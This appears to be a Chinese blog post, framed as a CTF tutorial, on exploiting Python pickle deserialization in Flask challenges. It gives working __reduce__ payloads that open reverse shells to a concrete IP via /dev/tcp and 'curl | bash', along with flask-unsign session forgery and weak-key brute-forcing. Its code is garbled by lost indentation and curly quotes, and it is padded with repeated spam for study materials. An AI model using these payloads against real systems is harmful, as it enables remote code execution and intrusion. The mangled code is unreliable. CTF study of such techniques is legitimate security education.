CTF题型 Python中pickle反序列化进阶利用&例题&opache绕过

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Python全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img



既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Python知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024c (备注Python)
img

正文

    • 1.[HFCTF 2021 Final]easyflask
  • 二.基于opcode绕过字节码过滤
    • 如何编写
  • 5.[2021极客巅峰 opcode]

一.基础的pickle反序列化

pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE

关键代码

pickle.dumps(obj[, protocol])

功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

漏洞有关的魔术方法
__reduce__

构造方法,在反序列化的时候自动执行,类似于php中的_wake_up

__setstate__

在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

常用payload(没有os模块)

import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

环境有os模块

import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/ip/port 0>&1”’,))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错

所以最好所有poc在linux上生成

例题

1.[HFCTF 2021 Final]easyflask

https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask

非预期(任意文件读取)

image-20240325085226157

直接读环境变量/proc/1/environ

image-20240325085331374

预期解

app源码

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(name)
app.config[“SECRET_KEY”] = “*******”

User = type(‘User’, (object,), {
‘uname’: ‘test’,
‘is_admin’: 0,
‘__repr__’: lambda o: o.uname,
})

@app.route(‘/’, methods=(‘GET’,))
def index_handler():
if not session.get(‘u’):
u = pickle.dumps(User())
session[‘u’] = u
return “/file?file=index.js”

@app.route(‘/file’, methods=(‘GET’,))
def file_handler():
path = request.args.get(‘file’)
path = os.path.join(‘static’, path)
if not os.path.exists(path) or os.path.isdir(path)
or ‘.py’ in path or ‘.sh’ in path or ‘…’ in path or “flag” in path:
return ‘disallowed’

with open(path, ‘r’) as fp:
content = fp.read()
return content

@app.route(‘/admin’, methods=(‘GET’,))
def admin_handler():
try:
u = session.get(‘u’)
if isinstance(u, dict):
u = b64decode(u.get(‘b’))
u = pickle.loads(u)
except Exception:
return ‘uhh?’

if u.is_admin == 1:
return ‘welcome, admin’
else:
return ‘who are you?’

if name == ‘__main__’:
app.run(‘0.0.0.0’, port=80, debug=False)

直接读环境变量/proc/1/environ

发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

可以直接伪造secret_key

image-20240325092958651

漏洞代码

@app.route(‘/admin’, methods=(‘GET’,))
def admin_handler():
try:
u = session.get(‘u’)
if isinstance(u, dict):
u = b64decode(u.get(‘b’))
u = pickle.loads(u)
except Exception:
return ‘uhh?’

伪造session实现 读取 u 中的 b值

对b中的值进行反序列化,可以直接触发RCE

>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

在linux系统下运行

import os
import pickle
import base64
User = type(‘User’, (object,), {
‘uname’: ‘test’,
‘is_admin’: 0,
‘__repr__’: lambda o: o.uname,
‘__reduce__’: lambda o: (os.system, (‘bash -c “bash -i >& /dev/tcp/148.135.82.190/8888 0>&1”’,))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())

生成后伪造

image-20240325093400538

用hackerbar发cookie触发

image-20240325093456429

可以反弹shell

2.[0xgame 2023 Notebook]

当时环境是给了源码

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(name)
app.config[‘SECRET_KEY’] = os.urandom(2).hex()

class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content

@property
def name(self):
return self._name

@property
def content(self):
return self._content

@app.route(‘/’)
def index():
return render_template(‘index.html’)

@app.route(‘/path:note\_id’, methods=[‘GET’])
def view_note(note_id):
notes = session.get(‘notes’)
if not notes:
return render_template(‘note.html’, msg=‘You have no notes’)

note_raw = notes.get(note_id)
if not note_raw:
return render_template(‘note.html’, msg=‘This note does not exist’)

note = pickle.loads(note_raw)
return render_template(‘note.html’, note_id=note_id, note_name=note.name, note_content=note.content)

@app.route(‘/add_note’, methods=[‘POST’])
def add_note():
note_name = request.form.get(‘note_name’)
note_content = request.form.get(‘note_content’)

if note_name == ‘’ or note_content == ‘’:
return render_template(‘index.html’, status=‘add_failed’, msg=‘note name or content is empty’)

note_id = str(uuid.uuid4())
note = Note(note_name, note_content)

if not session.get(‘notes’):
session[‘notes’] = {}

notes = session[‘notes’]
notes[note_id] = pickle.dumps(note)
session[‘notes’] = notes
return render_template(‘index.html’, status=‘add_success’, note_id=note_id)

@app.route(‘/delete_note’, methods=[‘POST’])
def delete_note():
note_id = request.form.get(‘note_id’)
if not note_id:
return render_template(‘index.html’)

notes = session.get(‘notes’)
if not notes:
return render_template(‘index.html’, status=‘delete_failed’, msg=‘You have no notes’)

if not notes.get(note_id):
return render_template(‘index.html’, status=‘delete_failed’, msg=‘This note does not exist’)

del notes[note_id]
session[‘notes’] = notes
return render_template(‘index.html’, status=‘delete_success’)

if name == ‘__main__’:
app.run(host=‘0.0.0.0’, port=8000, debug=False)

题目分析:

app.config['SECRET_KEY'] = os.urandom(2).hex()

secret_key是弱密钥可以爆破 进行伪造

@app.route(‘/path:note\_id’, methods=[‘GET’])
def view_note(note_id):
notes = session.get(‘notes’)
if not notes:
return render_template(‘note.html’, msg=‘You have no notes’)

note_raw = notes.get(note_id)
if not note_raw:
return render_template(‘note.html’, msg=‘This note does not exist’)

note = pickle.loads(note_raw)
return render_template(‘note.html’, note_id=note_id, note_name=note.name, note_content=note.content)

session伪造的结构{‘notes’:{‘note_id’:‘payload’}}

/<path:note_id> 路由下

pickle.loads 触发反序列化

题目环境有os可以用os.system执行任意命令

具体操作

生成爆破密钥

import os
while True:
secret_key=os.urandom(2).hex()
with open(“Desktop/secret_key.txt”,“a”) as f:
f.write(secret_key+‘\n’)

解析session

C:\Users\Administrator>flask-unsign --decode --cookie “.eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0”
C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests_init_.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn’t match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn’t match a supported "
{‘notes’: {‘769b57ff-3d73-433a-811e-2bca92371c39’: b’\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}

爆破 secret_key

flask-unsign --unsign --cookie “.eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0” -w “C:\Users\Administrator\Desktop\secret_key.txt” --no-literal-eval

image-20240325113320643

拿到 f991

linux下运行 题目环境有os模块

import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,(‘curl ip/1 |bash’,))

a= aaa()

payload=pickle.dumps(a)
print(payload)

image-20240325113542122

利用 curl 反弹shell(适用于bash/zsh) 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'

要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}

flask-unsign --sign --cookie “{‘notes’:{‘769b57ff-3d73-433a-811e-2bca92371c39’:b’\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}” --secret “f991”

image-20240325122756770

image-20240325122818244

可以弹回shell

image-20240325122844869

3.[HZNUCTF 2023 preliminary]pickle

import base64
import pickle
from flask import Flask, request

app = Flask(name)

@app.route(‘/’)
def index():
with open(‘app.py’, ‘r’) as f:
return f.read()

@app.route(‘/calc’, methods=[‘GET’])
def getFlag():
payload = request.args.get(“payload”)
pickle.loads(base64.b64decode(payload).replace(b’os’, b’'))
return “ganbadie!”

@app.route(‘/readFile’, methods=[‘GET’])
def readFile():
filename = request.args.get(‘filename’).replace(“flag”, “???”)
with open(filename, ‘r’) as f:
return f.read()

if name == ‘__main__’:
app.run(host=‘0.0.0.0’)

非预期

/readFile?filename=/proc/1/environ

flag在环境变量里

预期 关键代码

@app.route(‘/calc’, methods=[‘GET’])
def getFlag():
payload = request.args.get(“payload”)
pickle.loads(base64.b64decode(payload).replace(b’os’, b’'))
return “ganbadie!”

将os替换为空

用没有os的payload

import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, (“__import__(‘o’+‘s’).popen(‘curl 148.135.82.190/2 | bash’).read()”,))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

直接反弹shell

image-20240325134423813

image-20240325134508301

二.基于opcode绕过字节码过滤

对于一些题会对传入的数据进行过滤

例如

1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

在这里插入图片描述

感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的:

① 2000多本Python电子书(主流和经典的书籍应该都有了)

② Python标准库资料(最全中文版)

③ 项目源码(四五十个有趣且经典的练手项目及源码)

④ Python基础入门、爬虫、web开发、大数据分析方面的视频(适合小白学习)

⑤ Python学习路线图(告别不入流的学习)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024c (备注python)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

-blog.csdnimg.cn/20210511152217670.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3poaWd1aWd1,size_16,color_FFFFFF,t_70)

感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的:

① 2000多本Python电子书(主流和经典的书籍应该都有了)

② Python标准库资料(最全中文版)

③ 项目源码(四五十个有趣且经典的练手项目及源码)

④ Python基础入门、爬虫、web开发、大数据分析方面的视频(适合小白学习)

⑤ Python学习路线图(告别不入流的学习)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024c (备注python)
[外链图片转存中…(img-Q3I1poHa-1713657150473)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 25
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值